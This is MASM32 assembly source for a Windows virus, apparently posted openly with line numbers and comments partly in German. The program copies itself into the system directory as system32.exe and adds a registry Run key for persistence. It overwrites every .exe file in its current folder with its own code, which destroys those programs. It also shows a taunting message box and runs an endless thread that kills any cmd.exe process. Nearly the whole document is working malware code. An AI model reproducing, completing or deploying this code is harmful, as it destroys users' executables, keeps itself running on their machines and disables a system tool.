1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
| .386 ;the safest instruction set - Intel 386 or later, and compatibles
.model flat, stdcall
option casemap:none ;variables are case sensitive
include masm32includewindows.inc
include masm32includekernel32.inc
include masm32includeuser32.inc
include masm32includeadvapi32.inc ;used for registry editing
includelib masm32libuser32.lib
includelib masm32libkernel32.lib
includelib masm32libadvapi32.lib
killer proto ;method declarations
copySelf proto ;copies silf to system32
addReg proto ;adds a registry start up key
overwriteExes proto ;overwites exes
.data ;variable declarations
processToKill db "cmd.exe",0 ; cmd.exe beenden
lpNewFileName db "system32.exe",0 ; als system32.exe speichern
lpValueName byte "KernelD",0 ; Registry Value
lpSubKey byte "SoftwareMicrosoftWindowsCurrentVersionRun",0 ; Registry Pfad
lpText db "Only a few registers away from world domination :)",0 ; Payload Text
lpCaption db "A few opcodes away from greatness",0
ext db "*.exe",0
.data? ;unknown variable declarations
hSnapshot HANDLE ?
processEntry PROCESSENTRY32 <?>
phkResult PHKEY ?
lpExistingFileName byte 256 dup (?)
lpVirusPath byte 256 dup (?)
ThreadID dword ?
filedata WIN32_FIND_DATA <>
hFind dd ?
.code ;starts here
start:
invoke GetSystemDirectory, addr lpVirusPath,256 ;get current system32 path
invoke lstrcat,addr lpVirusPath, addr lpNewFileName ;add the system32 path + our virus name return value is lpVirusPath
invoke copySelf ;invoke method to copy self
invoke addReg ;invoke method to add a registry value
invoke overwriteExes
push MB_OK
push offset lpCaption
push offset lpText
push 0
call MessageBox ;show message box
;invoke MessageBox,NULL, addr lpText, addr lpCaption, MB_OK ;another way of calling api's in masm32
;mov eax, OFFSET killer ;could also initialize into eax and replace 'offset killer' with 'eax' below
invoke CreateThread,NULL,NULL,offset killer,0,0,addr ThreadID ;creates a new thread of method Killer
;Destroy the event when you're done with it (after the thread exits!)
;invoke CloseHandle,eax
;invoke ExitProcess,NULL ;exit
; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
copySelf Proc
invoke GetModuleFileName,0,offset lpExistingFileName,256 ;get current path and file name
invoke CopyFile, addr lpExistingFileName, addr lpVirusPath, 0 ;copy current exe
Ret ;return
copySelf EndP ;end of method
; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
addReg Proc
invoke RegCreateKey, HKEY_CURRENT_USER, addr lpSubKey, addr phkResult ;creates the registry entry
;sets registry key name and value
invoke RegSetValueEx, phkResult, addr lpValueName, 0, REG_SZ, addr lpVirusPath, SIZEOF lpVirusPath
Ret ;return
addReg EndP ;end of method
; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
killer Proc
.while 1
invoke CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
.if (eax!=INVALID_HANDLE_VALUE) ;makes sure no error occured
mov hSnapshot, eax
mov [processEntry.dwSize], SIZEOF processEntry
invoke Process32First,hSnapshot, addr processEntry ;get the first process
.if(eax)
findNterminate:
invoke lstrcmp, addr processToKill,addr [processEntry.szExeFile] ;check if the names match
.if(eax==0)
invoke OpenProcess,PROCESS_TERMINATE,0,[processEntry.th32ProcessID];open process for termination
.if (eax)
invoke TerminateProcess,eax,0 ;kill the process
.endif
.endif
invoke Process32Next,hSnapshot,addr processEntry ;get the next process in snapshot
test eax,eax
jnz findNterminate
.endif
invoke CloseHandle,hSnapshot ;close the terminated process handle
.endif
invoke Sleep,100 ;sleep a bit
.endw
;invoke ExitThread,0 ;to exit a thread
Ret ;return
killer EndP ;end of method
; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
overwriteExes Proc
invoke CloseHandle,hFind ;close any open handle
invoke FindFirstFile,offset ext,offset filedata ;get first file in current directory
mov hFind,eax ;set the hFind var with returned data in eax
call overwrite ;call method to copy file
_loop: ;loop to cycle through all found files
invoke FindNextFile,hFind,offset filedata ;get the next file
invoke GetLastError ;get last error
cmp eax,ERROR_NO_MORE_FILES ;chech if the error was due to no more files
je exit_proc ;exit if 0/yes
call overwrite ;call method to overwite current exe
jmp _loop ;cycle through all found .exe files
overwrite:
invoke GetModuleFileName,0,offset lpVirusPath,256 ;get our virus path
invoke CopyFile, addr lpVirusPath, addr filedata.cFileName, 0 ;copy that to the current found exe path and name
Ret ;return
exit_proc: ;exit label from proc
Ret ;return
overwriteExes EndP ;end of method
; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««
end start ;end of code
|